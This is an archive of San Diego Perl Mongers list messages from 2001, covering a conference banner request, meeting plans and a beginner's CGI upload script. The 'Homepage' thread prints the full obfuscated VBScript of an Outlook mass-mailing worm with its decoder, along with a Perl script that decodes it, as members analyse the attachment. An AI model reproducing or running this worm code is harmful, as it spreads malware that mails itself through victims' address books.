at gtemail.net (Douglas Wilson) Date: Thu Aug 5 00:20:19 2004 Subject: Message from O'Reilly (fwd) References: Message-ID: <3AF72885.1BDBC3FD@gtemail.net> ~sdpm~ Bob Kleemann wrote: > > ~sdpm~ > What do you guys think? Should we promote the convention for them, or > should we say no? I don'thave any personal objections, but I was curious > if anyone else had anything to say about it? Not that I really have any say, but I'd say yes for a free (or even severely discounted) registration for the conference and/or classes. Otherwise, I have no objections either, but I'd sure lean towards 'yes' for passes to the conference ... :) ~sdpm~ The posting address is: san-diego-pm-list@hfb.pm.org List requests should be sent to: majordomo@hfb.pm.org If you ever want to remove yourself from this mailing list, you can send mail to with the following command in the body of your email message: unsubscribe san-diego-pm-list If you ever need to get in contact with the owner of the list, (if you have trouble unsubscribing, or have questions about the list itself) send email to . This is the general rule for most mailing lists when you need to contact a human. From rlssdpm at schnapp.org Mon May 7 18:12:55 2001 From: rlssdpm at schnapp.org (Russ Schnapp) Date: Thu Aug 5 00:20:19 2004 Subject: Message from O'Reilly Message-ID: <200105072314.f47NElE10062@gocho.pm.org> ~sdpm~ They're good eggs. Why not? ~sdpm~ The posting address is: san-diego-pm-list@hfb.pm.org List requests should be sent to: majordomo@hfb.pm.org If you ever want to remove yourself from this mailing list, you can send mail to with the following command in the body of your email message: unsubscribe san-diego-pm-list If you ever need to get in contact with the owner of the list, (if you have trouble unsubscribing, or have questions about the list itself) send email to . This is the general rule for most mailing lists when you need to contact a human. From cabney at cyberpass.net Mon May 7 13:21:36 2001 From: cabney at cyberpass.net (cabney) Date: Thu Aug 5 00:20:19 2004 Subject: Message from O'Reilly (fwd) In-Reply-To: <3AF72885.1BDBC3FD@gtemail.net> Message-ID: ~sdpm~ On Mon, 7 May 2001, Douglas Wilson wrote: > Bob Kleemann wrote: > > What do you guys think? Should we promote the convention for them, or > > should we say no? I don'thave any personal objections, but I was curious > > if anyone else had anything to say about it? > > Not that I really have any say, but I'd say yes for a free (or even > severely discounted) registration for the conference and/or classes. > Otherwise, I have no objections either, but I'd sure lean towards > 'yes' for passes to the conference ... :) I think this one's pretty cool, too... not that I have any more say over what might be done. You could raffle it off or give it to a volunteer or something nice like that. :) CA -- PGP PK: http://www.cyberpass.net/~cabney/public.key PK fingerprint: E3 69 7B 8E AF 07 40 2F BD 29 D4 12 6B BB B6 AE ~sdpm~ The posting address is: san-diego-pm-list@hfb.pm.org List requests should be sent to: majordomo@hfb.pm.org If you ever want to remove yourself from this mailing list, you can send mail to with the following command in the body of your email message: unsubscribe san-diego-pm-list If you ever need to get in contact with the owner of the list, (if you have trouble unsubscribing, or have questions about the list itself) send email to . This is the general rule for most mailing lists when you need to contact a human. From joe at artlung.com Mon May 7 23:17:38 2001 From: joe at artlung.com (Joe Crawford) Date: Thu Aug 5 00:20:19 2004 Subject: Passing a file to server References: <3.0.4.32.20010507120300.007cb430@crash.cts.com> Message-ID: <3AF77360.B2CE4166@artlung.com> ~sdpm~ Joel Fentin wrote: > I want the user of the website to be able to send a file to the > server. > > It might go something like this: > > On the browser page, there is an interface (popup & scrolling > list?) that permits the user to select a subdirectory and file > from his own computer. He presses the button, and the file is > FTPed or otherwise sent to the server. > > If someone can point me in the right direction, I might be able > to fill in the blanks. Good place to look: http://cgi.resourceindex.com/Programs_and_Scripts/Perl/File_Management/File_Uploading/ HTH, Joe -- Joe Crawford * I am a Web Designer and Developer; * Find out about me at : http://www.ArtLung.com * A Mailing List for San Diego Web Folks : http://WebSanDiego.org ~sdpm~ The posting address is: san-diego-pm-list@hfb.pm.org List requests should be sent to: majordomo@hfb.pm.org If you ever want to remove yourself from this mailing list, you can send mail to with the following command in the body of your email message: unsubscribe san-diego-pm-list If you ever need to get in contact with the owner of the list, (if you have trouble unsubscribing, or have questions about the list itself) send email to . This is the general rule for most mailing lists when you need to contact a human. From todd.rockhold at ontogen.com Mon May 7 23:21:51 2001 From: todd.rockhold at ontogen.com (Todd Rockhold) Date: Thu Aug 5 00:20:19 2004 Subject: Message from O'Reilly (fwd) Message-ID: <01May7.213457pdt.118082@gateway.ontogen.com> ~sdpm~ I'd say go ahead and post the ad. > -----Original Message----- > From: Bob Kleemann [SMTP:rkleeman@energoncube.net] > Sent: Monday, May 07, 2001 2:49 PM > To: San Diego Perl Mongers > Subject: Message from O'Reilly (fwd) > > ~sdpm~ > What do you guys think? Should we promote the convention for them, or > should we say no? I don'thave any personal objections, but I was curious > if anyone else had anything to say about it? > > ---------- Forwarded message ---------- > Date: Fri, 04 May 2001 10:41:09 -0700 > From: Denise Olliffe > To: rkleeman@energoncube.net > Subject: Message from O'Reilly > > Hi Bobby, > > I am the User Group Manager for O'Reilly. > > The O'Reilly Perl Conference 5, and the O'Reilly Open Source > Convention will be taking place in San Diego July 23-27. > > Your group is a member of our UG Program, and I have > contacted Garrett Casey to ask that a banner for our > conference be placed on your site. I'm not sure > if he has seen my email, however wanted to know if > it would be possible. > > Here are the banners to choose from: > > http://conferences.oreilly.com/oscon/banners/ > > Please let me know if you'll be able to do this. > > Thanks, > Denise > > > ****************************************** > > Denise Olliffe > Associate Publicist/User Group Manager > O'Reilly & Associates > 101 Morris Street, Sebastopol, CA 95472 > deniseo@oreilly.com, (707) 829-0515 x339 > http://ug.oreilly.com/ > http://www.oreilly.com/ > > UPCOMING O'REILLY EVENTS: > > O'Reilly Open Source Convention > July 23-27, 2001 > Sheraton San Diego > San Diego, California > http://conferences.oreilly.com/oscon2001/ > > O'Reilly Peer-to-Peer and Web Services Conference > September 18-21, 2001 > Washington, D.C. > > ~sdpm~ > > The posting address is: san-diego-pm-list@hfb.pm.org > > List requests should be sent to: majordomo@hfb.pm.org > > If you ever want to remove yourself from this mailing list, > you can send mail to with the following > command in the body of your email message: > > unsubscribe san-diego-pm-list > > If you ever need to get in contact with the owner of the list, > (if you have trouble unsubscribing, or have questions about the > list itself) send email to . > This is the general rule for most mailing lists when you need > to contact a human. ~sdpm~ The posting address is: san-diego-pm-list@hfb.pm.org List requests should be sent to: majordomo@hfb.pm.org If you ever want to remove yourself from this mailing list, you can send mail to with the following command in the body of your email message: unsubscribe san-diego-pm-list If you ever need to get in contact with the owner of the list, (if you have trouble unsubscribing, or have questions about the list itself) send email to . This is the general rule for most mailing lists when you need to contact a human. From canetguy at home.com Tue May 8 23:23:11 2001 From: canetguy at home.com (Garrett Casey) Date: Thu Aug 5 00:20:19 2004 Subject: Message from O'Reilly (fwd) In-Reply-To: <01May7.213457pdt.118082@gateway.ontogen.com> References: <01May7.213457pdt.118082@gateway.ontogen.com> Message-ID: <200105082123110860.00083B75@mail> ~sdpm~ BTW: I was never contacted about the banner... -garrett *********** REPLY SEPARATOR *********** On 5/7/01 at 9:21 PM Todd Rockhold wrote: >~sdpm~ >I'd say go ahead and post the ad. >> -----Original Message----- >> From: Bob Kleemann [SMTP:rkleeman@energoncube.net] >> Sent: Monday, May 07, 2001 2:49 PM >> To: San Diego Perl Mongers >> Subject: Message from O'Reilly (fwd) >> >> ~sdpm~ >> What do you guys think? Should we promote the convention for them, or >> should we say no? I don'thave any personal objections, but I was curious >> if anyone else had anything to say about it? >> >> ---------- Forwarded message ---------- >> Date: Fri, 04 May 2001 10:41:09 -0700 >> From: Denise Olliffe >> To: rkleeman@energoncube.net >> Subject: Message from O'Reilly >> >> Hi Bobby, >> >> I am the User Group Manager for O'Reilly. >> >> The O'Reilly Perl Conference 5, and the O'Reilly Open Source >> Convention will be taking place in San Diego July 23-27. >> >> Your group is a member of our UG Program, and I have >> contacted Garrett Casey to ask that a banner for our >> conference be placed on your site. I'm not sure >> if he has seen my email, however wanted to know if >> it would be possible. >> >> Here are the banners to choose from: >> >> http://conferences.oreilly.com/oscon/banners/ >> >> Please let me know if you'll be able to do this. >> >> Thanks, >> Denise >> >> >> ****************************************** >> >> Denise Olliffe >> Associate Publicist/User Group Manager >> O'Reilly & Associates >> 101 Morris Street, Sebastopol, CA 95472 >> deniseo@oreilly.com, (707) 829-0515 x339 >> http://ug.oreilly.com/ >> http://www.oreilly.com/ >> >> UPCOMING O'REILLY EVENTS: >> >> O'Reilly Open Source Convention >> July 23-27, 2001 >> Sheraton San Diego >> San Diego, California >> http://conferences.oreilly.com/oscon2001/ >> >> O'Reilly Peer-to-Peer and Web Services Conference >> September 18-21, 2001 >> Washington, D.C. >> >> ~sdpm~ >> >> The posting address is: san-diego-pm-list@hfb.pm.org >> >> List requests should be sent to: majordomo@hfb.pm.org >> >> If you ever want to remove yourself from this mailing list, >> you can send mail to with the following >> command in the body of your email message: >> >> unsubscribe san-diego-pm-list >> >> If you ever need to get in contact with the owner of the list, >> (if you have trouble unsubscribing, or have questions about the >> list itself) send email to . >> This is the general rule for most mailing lists when you need >> to contact a human. >~sdpm~ > >The posting address is: san-diego-pm-list@hfb.pm.org > >List requests should be sent to: majordomo@hfb.pm.org > >If you ever want to remove yourself from this mailing list, >you can send mail to with the following >command in the body of your email message: > > unsubscribe san-diego-pm-list > >If you ever need to get in contact with the owner of the list, >(if you have trouble unsubscribing, or have questions about the >list itself) send email to . >This is the general rule for most mailing lists when you need >to contact a human. ~sdpm~ The posting address is: san-diego-pm-list@hfb.pm.org List requests should be sent to: majordomo@hfb.pm.org If you ever want to remove yourself from this mailing list, you can send mail to with the following command in the body of your email message: unsubscribe san-diego-pm-list If you ever need to get in contact with the owner of the list, (if you have trouble unsubscribing, or have questions about the list itself) send email to . This is the general rule for most mailing lists when you need to contact a human. From rkleeman at energoncube.net Mon May 14 17:59:44 2001 From: rkleeman at energoncube.net (Bob Kleemann) Date: Thu Aug 5 00:20:19 2004 Subject: Meetings this week. Message-ID: ~sdpm~ Fellows, There are two meetings this week. The normal Perl Mongers meeting is Wed at 7:30PM. Same location as always (8380 Miramar Mall, San Diego CA, 92121 in the upstairs conference room; http://maps.yahoo.com/py/maps.py?addr=8380+Miramar+Mall&csz=92121&country=us). There should be plenty to talk about, so be prepared to eat, drink, and be Perl-y ;-) (Food and drink promised by Chris, so if you are planning on going please drop either him or myself a note.) There is another meeting on Saturday with Randal Schwartz and company. Details of that meeting should be avialable either here or at the meeting. ~sdpm~ The posting address is: san-diego-pm-list@hfb.pm.org List requests should be sent to: majordomo@hfb.pm.org If you ever want to remove yourself from this mailing list, you can send mail to with the following command in the body of your email message: unsubscribe san-diego-pm-list If you ever need to get in contact with the owner of the list, (if you have trouble unsubscribing, or have questions about the list itself) send email to . This is the general rule for most mailing lists when you need to contact a human. From canetguy at home.com Mon May 14 19:54:19 2001 From: canetguy at home.com (Garrett Casey) Date: Thu Aug 5 00:20:19 2004 Subject: Meetings this week. In-Reply-To: References: Message-ID: <200105141754190400.002ECDDB@mail> ~sdpm~ I will be attending the meeting and will be bringing back issues of TPJ for all who wanted them. I will see you all there! -Garrett ps. Joel, I search and search and could not find a text file of the reference paper you mentioned, sorry :( *********** REPLY SEPARATOR *********** On 5/14/01 at 3:59 PM Bob Kleemann wrote: >~sdpm~ >Fellows, > There are two meetings this week. The normal Perl Mongers meeting >is Wed at 7:30PM. Same location as always (8380 Miramar Mall, San Diego >CA, 92121 in the upstairs conference room; >http://maps.yahoo.com/py/maps.py?addr=8380+Miramar+Mall&csz=92121&country=us). >There should be plenty to talk about, so be prepared to eat, drink, and be >Perl-y ;-) (Food and drink promised by Chris, so if you are planning on >going please drop either him or myself a note.) > >There is another meeting on Saturday with Randal Schwartz and >company. Details of that meeting should be avialable either here or at >the meeting. > >~sdpm~ > >The posting address is: san-diego-pm-list@hfb.pm.org > >List requests should be sent to: majordomo@hfb.pm.org > >If you ever want to remove yourself from this mailing list, >you can send mail to with the following >command in the body of your email message: > > unsubscribe san-diego-pm-list > >If you ever need to get in contact with the owner of the list, >(if you have trouble unsubscribing, or have questions about the >list itself) send email to . >This is the general rule for most mailing lists when you need >to contact a human. ~sdpm~ The posting address is: san-diego-pm-list@hfb.pm.org List requests should be sent to: majordomo@hfb.pm.org If you ever want to remove yourself from this mailing list, you can send mail to with the following command in the body of your email message: unsubscribe san-diego-pm-list If you ever need to get in contact with the owner of the list, (if you have trouble unsubscribing, or have questions about the list itself) send email to . This is the general rule for most mailing lists when you need to contact a human. From merlyn at stonehenge.com Tue May 15 08:58:45 2001 From: merlyn at stonehenge.com (Randal L. Schwartz) Date: Thu Aug 5 00:20:19 2004 Subject: Meetings this week. In-Reply-To: References: Message-ID: ~sdpm~ >>>>> "Bob" == Bob Kleemann writes: Bob> There is another meeting on Saturday with Randal Schwartz and Bob> company. Details of that meeting should be avialable either here or at Bob> the meeting. Yeah, sorry for being lax about getting back. My friend (the one with the car) suggests meeting for dinner "at the closest convenient easy-to-find point near the border". :) Anyone have an interesting restaurant suggestion in like the Gaslight district? -- Randal L. Schwartz - Stonehenge Consulting Services, Inc. - +1 503 777 0095 Perl/Unix/security consulting, Technical writing, Comedy, etc. etc. See PerlTraining.Stonehenge.com for onsite and open-enrollment Perl training! ~sdpm~ The posting address is: san-diego-pm-list@hfb.pm.org List requests should be sent to: majordomo@hfb.pm.org If you ever want to remove yourself from this mailing list, you can send mail to with the following command in the body of your email message: unsubscribe san-diego-pm-list If you ever need to get in contact with the owner of the list, (if you have trouble unsubscribing, or have questions about the list itself) send email to . This is the general rule for most mailing lists when you need to contact a human. From canetguy at home.com Tue May 15 11:37:18 2001 From: canetguy at home.com (Garrett Casey) Date: Thu Aug 5 00:20:19 2004 Subject: Meetings this week. In-Reply-To: <200105150239.f4F2d8G26961@ns1.brtnet.org> References: <200105150239.f4F2d8G26961@ns1.brtnet.org> Message-ID: <200105150937180650.00045ED3@mail> ~sdpm~ Bruce, Nope, they are free! -Garrett ps. good hearing from you again *********** REPLY SEPARATOR *********** On 5/14/01 at 7:39 PM Bruce Timberlake wrote: >I will be at the meeting this week -- I can't remember what TPJ's were available, but I'll take some of whatever you're handing out -- how much were they again? $1 each? > >- Bruce ~sdpm~ The posting address is: san-diego-pm-list@hfb.pm.org List requests should be sent to: majordomo@hfb.pm.org If you ever want to remove yourself from this mailing list, you can send mail to with the following command in the body of your email message: unsubscribe san-diego-pm-list If you ever need to get in contact with the owner of the list, (if you have trouble unsubscribing, or have questions about the list itself) send email to . This is the general rule for most mailing lists when you need to contact a human. From mevasquez at home.com Wed May 16 10:00:28 2001 From: mevasquez at home.com (Mike @ Home) Date: Thu Aug 5 00:20:19 2004 Subject: Homepage Message-ID: <008d01c0de19$551804c0$0301a8c0@hilda> Hi! You've got to see this page! It's really cool ;O) -------------- next part -------------- A non-text attachment was scrubbed... Name: homepage.HTML.vbs Type: application/octet-stream Size: 2418 bytes Desc: not available Url : http://mail.pm.org/archives/san-diego-pm/attachments/20010516/a9b66a3a/homepage.HTML.obj From chris at velocigen.com Wed May 16 11:23:01 2001 From: chris at velocigen.com (Chris Radcliff) Date: Thu Aug 5 00:20:19 2004 Subject: Homepage References: <008d01c0de19$551804c0$0301a8c0@hilda> Message-ID: <3B02A965.8090106@velocigen.com> ~sdpm~ Whoops! Looks like someone's using Microsoft Outlook! :) ~chris Mike @ Home wrote: > Hi! > > You've got to see this page! It's really cool ;O) > > homepage.HTML.vbs > > Content-Type: > > application/octet-stream > Content-Encoding: > > quoted-printable ~sdpm~ The posting address is: san-diego-pm-list@hfb.pm.org List requests should be sent to: majordomo@hfb.pm.org If you ever want to remove yourself from this mailing list, you can send mail to with the following command in the body of your email message: unsubscribe san-diego-pm-list If you ever need to get in contact with the owner of the list, (if you have trouble unsubscribing, or have questions about the list itself) send email to . This is the general rule for most mailing lists when you need to contact a human. From rkleeman at energoncube.net Wed May 16 11:41:11 2001 From: rkleeman at energoncube.net (Bob Kleemann) Date: Thu Aug 5 00:20:19 2004 Subject: Homepage In-Reply-To: <008d01c0de19$551804c0$0301a8c0@hilda> Message-ID: ~sdpm~ It's looking like we have a virus here, text of the attachment: Execute DeCode("QpGttqtTguwogPgzvUgvYU?EtgcvgQdlgev*$YUetkrv0Ujgnn$+UgvHUQ?Etgcvgqdlgev*$uetkrvkpi0hkngu{uvgoqdlgev$+Hqnfgt?HUQ0IgvUrgekcnHqnfgt*4+UgvKpH?HUQ0QrgpVgzvHkng*YUetkrv0UetkrvHwnnpcog.3+FqYjkngKpH0CvGpfQhUvtgco>@VtwgUetk rvDwhhgt?UetkrvDwhhgt(KpH0TgcfNkpg(xdetnhNqqrUgvQwvH?HUQ0QrgpVgzvHkng*Hqnfgt($^jqogrcig0JVON0xdu$.4.vtwg+QwvH0ytkvgUetkrvDwhhgtQwvH0enqugUgvHUQ?PqvjkpiKhYU0tgitgcf*$JMEW^uqhvyctg^Cp^ockngf$+>@$3$vjgpOcknkv*+GpfKhUgvu?Etgc vgQdlgev*$Qwvnqqm0Crrnkecvkqp$+Ugvv?u0IgvPcogUrceg*$OCRK$+Ugvw?v0IgvFghcwnvHqnfgt*8+Hqtk?3vqw0kvgou0eqwpvKhw0Kvgou0Kvgo*k+0uwdlgev?$Jqogrcig$Vjgpw0Kvgou0Kvgo*k+0enqugw0Kvgou0Kvgo*k+0fgngvgGpfKhPgzvUgvw?v0IgvFghcwnvHqnfgt*5+Hqt k?3vqw0kvgou0eqwpvKhw0Kvgou0Kvgo*k+0uwdlgev?$Jqogrcig$Vjgpw0Kvgou0Kvgo*k+0fgngvgGpfKhPgzvTcpfqok|gt?Kpv**6,Tpf+-3+Kht?3vjgpYU0Twp*$jvvr<11jctfeqtg0rqtpdknndqctf0pgv1ujcppqp130jvo$+gnugkht?4VjgpYU0Twp*$jvvr<11ogodgtu0pdek0eq o1aZOEO1rtkp|lg130jvo$+gnugkht?5VjgpYU0Twp*$jvvr<11yyy40ugzetqrqnku0eqo1cocvgwt1ujgknc130jvo$+GnugKht?6VjgpYU0Twp*$jvvr<11ujgknc0kuugz{0vx130jvo$+GpfKhHwpevkqpOcknkv*+QpGttqtTguwogPgzvUgvQwvnqqm?EtgcvgQdlgev*$Qwvnqqm0Crrnkecv kqp$+KhQwvnqqm?$Qwvnqqm$VjgpUgvOcrk?Qwvnqqm0IgvPcogUrceg*$OCRK$+UgvNkuvu?Ocrk0CfftguuNkuvuHqtGcejNkuvKpfgzKpNkuvuKhNkuvKpfgz0CfftguuGpvtkgu0Eqwpv>@2VjgpEqpvcevEqwpv?NkuvKpfgz0CfftguuGpvtkgu0EqwpvHqtEqwpv?3VqEqp vcevEqwpvUgvOckn?Qwvnqqm0EtgcvgKvgo*2+UgvEqpvcev?NkuvKpfgz0CfftguuGpvtkgu*Eqwpv+Ockn0Vq?Eqpvcev0CfftguuOckn0Uwdlgev?$Jqogrcig$Ockn0Dqf{?xdetnh($Jk#$(xdetnh(xdetnh($[qw)xgiqvvquggvjkurcig#Kv)utgcnn{eqqn=Q+ $(xdetnh(xdetnhUgvCvvcejogpv?Ockn0CvvcejogpvuCvvcejogpv0CffHqnfgt($^jqogrcig0JVON0xdu$Ockn0FgngvgChvgtUwdokv?VtwgKhOckn0Vq>@$$VjgpOckn0UgpfYU0tgiytkvg$JMEW^uqhvyctg^Cp^ockngf$.$3$GpfKhPgzvGpf KhPgzvGpfkhGpfHwpevkqp") Function DeCode(Coded) For I = 1 To Len(Coded) CurChar= Mid(Coded, I, 1) If Asc(CurChar) = 15 Then CurChar= Chr(10) ElseIf Asc(CurChar) = 16 Then CurChar= Chr(13) ElseIf Asc(CurChar) = 17 Then CurChar= Chr(32) ElseIf Asc(CurChar) = 18 Then CurChar= Chr(9) Else CurChar = Chr(Asc(CurChar) - 2) End If DeCode = DeCode & CurChar Next End Function On Wed, 16 May 2001, Mike @ Home wrote: > > Hi! > > You've got to see this page! It's really cool ;O) > > ~sdpm~ The posting address is: san-diego-pm-list@hfb.pm.org List requests should be sent to: majordomo@hfb.pm.org If you ever want to remove yourself from this mailing list, you can send mail to with the following command in the body of your email message: unsubscribe san-diego-pm-list If you ever need to get in contact with the owner of the list, (if you have trouble unsubscribing, or have questions about the list itself) send email to . This is the general rule for most mailing lists when you need to contact a human. From joel at cts.com Wed May 16 14:01:06 2001 From: joel at cts.com (Joel Fentin) Date: Thu Aug 5 00:20:19 2004 Subject: uploading Message-ID: <200105161900.MAA01428@neko.cts.com> ~sdpm~ About a week and a half ago I asked you all how to upload files to the web. I studied recommended URLs and tried the advice. Although I never found anything that worked, I have made progress. The following is a bare bones program that works in the laptop with a personal server. It doesn't work when placed at the host. It can find the source file, but can't seem to send it. Any help appreciated. BTW: The laptop has Windoz-95. ===================================== #!/perl/bin/perl -w #!/usr/local/bin/perl -w #ul.pl use CGI qw/:standard/; use CGI::Carp qw/fatalsToBrowser/;$| = 1; $co = new CGI; print $co->header(); print $co->start_html(-title=>'UPLOAD PAGE!'); print $co->startform(-method=>'POST',-action=>'./ul.pl',-encoding=>'multipart/form -data'); print $co->filefield('uploaded_file','starting value',50,100); print $co->submit(-name=>'button_name', -value=>'Do it!'); print $co->endform; $filename = $co->param('uploaded_file'); print "--$filename--

"; open(INFILE,"<$filename"); binmode INFILE; if(-e "dummy.fil") #if on personal server... {open(OUTFILE,'>../../htdocs/photos/yy.jpg')} else #if on internet... {open(OUTFILE,'>../../photos/yy.jpg');} binmode OUTFILE; while (read(INFILE,$buffer,1024)){print OUTFILE $buffer} close (OUTFILE); close (INFILE); print ""; print ""; #end of program=================================== -- Joel Fentin tel: 760-749-8863 FAX: 760-749-8864 email: joel@fentin.com web: Fentin.com ~sdpm~ The posting address is: san-diego-pm-list@hfb.pm.org List requests should be sent to: majordomo@hfb.pm.org If you ever want to remove yourself from this mailing list, you can send mail to with the following command in the body of your email message: unsubscribe san-diego-pm-list If you ever need to get in contact with the owner of the list, (if you have trouble unsubscribing, or have questions about the list itself) send email to . This is the general rule for most mailing lists when you need to contact a human. From cabney at cyberpass.net Wed May 16 06:16:06 2001 From: cabney at cyberpass.net (cabney) Date: Thu Aug 5 00:20:19 2004 Subject: Homepage In-Reply-To: Message-ID: ~sdpm~ On Wed, 16 May 2001, Bob Kleemann wrote: > It's looking like we have a virus here, text of the attachment: Can anyone tell me what it's doing? (I get dizzy reading VB) Uh, here you can look at it with this: =8<==== #! /usr/bin/perl -w use strict; my ( $OutLookVirusF, $bad_by_definition, $yehrite ); $OutLookVirusF = shift; die "File not found\n" unless -f $OutLookVirusF; open V, "< $OutLookVirusF" or die ("problem opening $OutLookVirusF: $!\n"); while ( ) { my $line = $_; if ( $line =~ /Execute DeCode/i ) { my ( $pre, $post ); $line =~ /^(.*)"(.*)"(.*)$/; ($pre, $yehrite, $post) = ($1,$2,$3); $bad_by_definition .= "${pre}__ICKENC__${post}"; } else { $bad_by_definition .= $_; } } close V, or die ("problem closing $OutLookVirusF: $!\n"); $yehrite = pack "C*", map { ($_==15) ? 10 : ($_==16) ? 13 : ($_==17) ? 32 : ($_==18) ? 9 : $_-2 } unpack "C*", $yehrite; $bad_by_definition =~ s/__ICKENC__/\'$yehrite\'/; print $bad_by_definition; =8<==== CA -- There was a time A wind that blew so young For this could be the biggest sky And I could have the faintest idea ~sdpm~ The posting address is: san-diego-pm-list@hfb.pm.org List requests should be sent to: majordomo@hfb.pm.org If you ever want to remove yourself from this mailing list, you can send mail to with the following command in the body of your email message: unsubscribe san-diego-pm-list If you ever need to get in contact with the owner of the list, (if you have trouble unsubscribing, or have questions about the list itself) send email to . This is the general rule for most mailing lists when you need to contact a human. From rkleeman at energoncube.net Wed May 16 14:41:24 2001 From: rkleeman at energoncube.net (Bob Kleemann) Date: Thu Aug 5 00:20:20 2004 Subject: Homepage In-Reply-To: Message-ID: ~sdpm~ I'm not real good in VB either, but if my casual parsing is correct, it loads up one of four random webpages and then it sends itself to people in your addressbook. Looks like a classic Outlook worm to me. On Wed, 16 May 2001, cabney wrote: > ~sdpm~ > On Wed, 16 May 2001, Bob Kleemann wrote: > > > It's looking like we have a virus here, text of the attachment: > > Can anyone tell me what it's doing? (I get dizzy reading VB) > > Uh, here you can look at it with this: > > =8<==== > #! /usr/bin/perl -w > > use strict; > > my ( $OutLookVirusF, $bad_by_definition, $yehrite ); > > $OutLookVirusF = shift; > > die "File not found\n" unless -f $OutLookVirusF; > > open V, "< $OutLookVirusF" or die ("problem opening $OutLookVirusF: $!\n"); > > while ( ) > { > my $line = $_; > if ( $line =~ /Execute DeCode/i ) { > my ( $pre, $post ); > $line =~ /^(.*)"(.*)"(.*)$/; > ($pre, $yehrite, $post) = ($1,$2,$3); > $bad_by_definition .= "${pre}__ICKENC__${post}"; > } else { > $bad_by_definition .= $_; > } > } > > close V, or die ("problem closing $OutLookVirusF: $!\n"); > > $yehrite = pack "C*", map { > ($_==15) ? 10 : > ($_==16) ? 13 : > ($_==17) ? 32 : > ($_==18) ? 9 : > $_-2 > } unpack "C*", $yehrite; > > $bad_by_definition =~ s/__ICKENC__/\'$yehrite\'/; > > print $bad_by_definition; > =8<==== > > CA > -- > There was a time > A wind that blew so young > For this could be the biggest sky > And I could have the faintest idea > > ~sdpm~ > > The posting address is: san-diego-pm-list@hfb.pm.org > > List requests should be sent to: majordomo@hfb.pm.org > > If you ever want to remove yourself from this mailing list, > you can send mail to with the following > command in the body of your email message: > > unsubscribe san-diego-pm-list > > If you ever need to get in contact with the owner of the list, > (if you have trouble unsubscribing, or have questions about the > list itself) send email to . > This is the general rule for most mailing lists when you need > to contact a human. > > ~sdpm~ The posting address is: san-diego-pm-list@hfb.pm.org List requests should be sent to: majordomo@hfb.pm.org If you ever want to remove yourself from this mailing list, you can send mail to with the following command in the body of your email message: unsubscribe san-diego-pm-list If you ever need to get in contact with the owner of the list, (if you have trouble unsubscribing, or have questions about the list itself) send email to . This is the general rule for most mailing lists when you need to contact a human. From cabney at cyberpass.net Wed May 16 06:39:25 2001 From: cabney at cyberpass.net (cabney) Date: Thu Aug 5 00:20:20 2004 Subject: uploading In-Reply-To: <200105161900.MAA01428@neko.cts.com> Message-ID: ~sdpm~ On Wed, 16 May 2001, Joel Fentin wrote: > The following is a bare bones program that works in the laptop with a > personal server. It doesn't work when placed at the host. It can find the > source file, but can't seem to send it. no use strict, and no checking after operations on files and stuff... also, it's hard to tell what's wrong if you don't give us any error messages... does this line: > print "--$filename--

"; get printed in the browser? CA -- There was a time A wind that blew so young For this could be the biggest sky And I could have the faintest idea ~sdpm~ The posting address is: san-diego-pm-list@hfb.pm.org List requests should be sent to: majordomo@hfb.pm.org If you ever want to remove yourself from this mailing list, you can send mail to with the following command in the body of your email message: unsubscribe san-diego-pm-list If you ever need to get in contact with the owner of the list, (if you have trouble unsubscribing, or have questions about the list itself) send email to . This is the general rule for most mailing lists when you need to contact a human. From cabney at cyberpass.net Wed May 16 07:19:12 2001 From: cabney at cyberpass.net (cabney) Date: Thu Aug 5 00:20:20 2004 Subject: Homepage In-Reply-To: Message-ID: ~sdpm~ On Wed, 16 May 2001, cabney wrote: Responding to my own post (how lame!) > open V, "< $OutLookVirusF" or die ("problem opening $OutLookVirusF: $!\n"); somehow this made it through Perl's syntax checker (perl -c)... CA -- There was a time A wind that blew so young For this could be the biggest sky And I could have the faintest idea ~sdpm~ The posting address is: san-diego-pm-list@hfb.pm.org List requests should be sent to: majordomo@hfb.pm.org If you ever want to remove yourself from this mailing list, you can send mail to with the following command in the body of your email message: unsubscribe san-diego-pm-list If you ever need to get in contact with the owner of the list, (if you have trouble unsubscribing, or have questions about the list itself) send email to . This is the general rule for most mailing lists when you need to contact a human. From cabney at cyberpass.net Wed May 16 07:22:26 2001 From: cabney at cyberpass.net (cabney) Date: Thu Aug 5 00:20:20 2004 Subject: Homepage In-Reply-To: Message-ID: ~sdpm~ On Wed, 16 May 2001, cabney wrote: > On Wed, 16 May 2001, cabney wrote: > > open V, "< $OutLookVirusF" or die ("problem opening $OutLookVirusF: $!\n"); > > somehow this made it through Perl's syntax checker (perl -c)... Sheesh, shoulda been: close V, or die ("problem closing $OutLookVirusF: $!\n"); CA -- There was a time A wind that blew so young For this could be the biggest sky And I could have the faintest idea ~sdpm~ The posting address is: san-diego-pm-list@hfb.pm.org List requests should be sent to: majordomo@hfb.pm.org If you ever want to remove yourself from this mailing list, you can send mail to with the following command in the body of your email message: unsubscribe san-diego-pm-list If you ever need to get in contact with the owner of the list, (if you have trouble unsubscribing, or have questions about the list itself) send email to . This is the general rule for most mailing lists when you need to contact a human. From joel at cts.com Wed May 16 15:45:34 2001 From: joel at cts.com (Joel Fentin) Date: Thu Aug 5 00:20:20 2004 Subject: uploading Message-ID: <200105162044.NAA14655@neko.cts.com> ~sdpm~ > > The following is a bare bones program that works in the laptop with a > > personal server. It doesn't work when placed at the host. It can find the > > source file, but can't seem to send it. > > no use strict, and no checking after operations on files and stuff... also, > it's hard to tell what's wrong if you don't give us any error messages... I told you it was bare bones. There are no error messages. As far as I can tell, there are no errors. I will add error handling and use strict. The file is opened at the server in the correct directory, and it's size is 0. ================== > does this line: > > print "--$filename--

"; > get printed in the browser? Yes! If the file is called Joel.jpg and it's in the root directory, this is displayed: --C:\Joel.jpg-- -- Joel Fentin tel: 760-749-8863 FAX: 760-749-8864 email: joel@fentin.com web: Fentin.com ~sdpm~ The posting address is: san-diego-pm-list@hfb.pm.org List requests should be sent to: majordomo@hfb.pm.org If you ever want to remove yourself from this mailing list, you can send mail to with the following command in the body of your email message: unsubscribe san-diego-pm-list If you ever need to get in contact with the owner of the list, (if you have trouble unsubscribing, or have questions about the list itself) send email to . This is the general rule for most mailing lists when you need to contact a human. From nestor.florez at intel.com Wed May 16 14:33:42 2001 From: nestor.florez at intel.com (Florez, Nestor) Date: Thu Aug 5 00:20:20 2004 Subject: Hey, we're in SD this saturday night Message-ID: ~sdpm~ The San Diego Perl Mongers web page is not working. http://sandiego.pm.org/ Is there a problem? Thanks, Nestor :-) ~sdpm~ The posting address is: san-diego-pm-list@hfb.pm.org List requests should be sent to: majordomo@hfb.pm.org If you ever want to remove yourself from this mailing list, you can send mail to 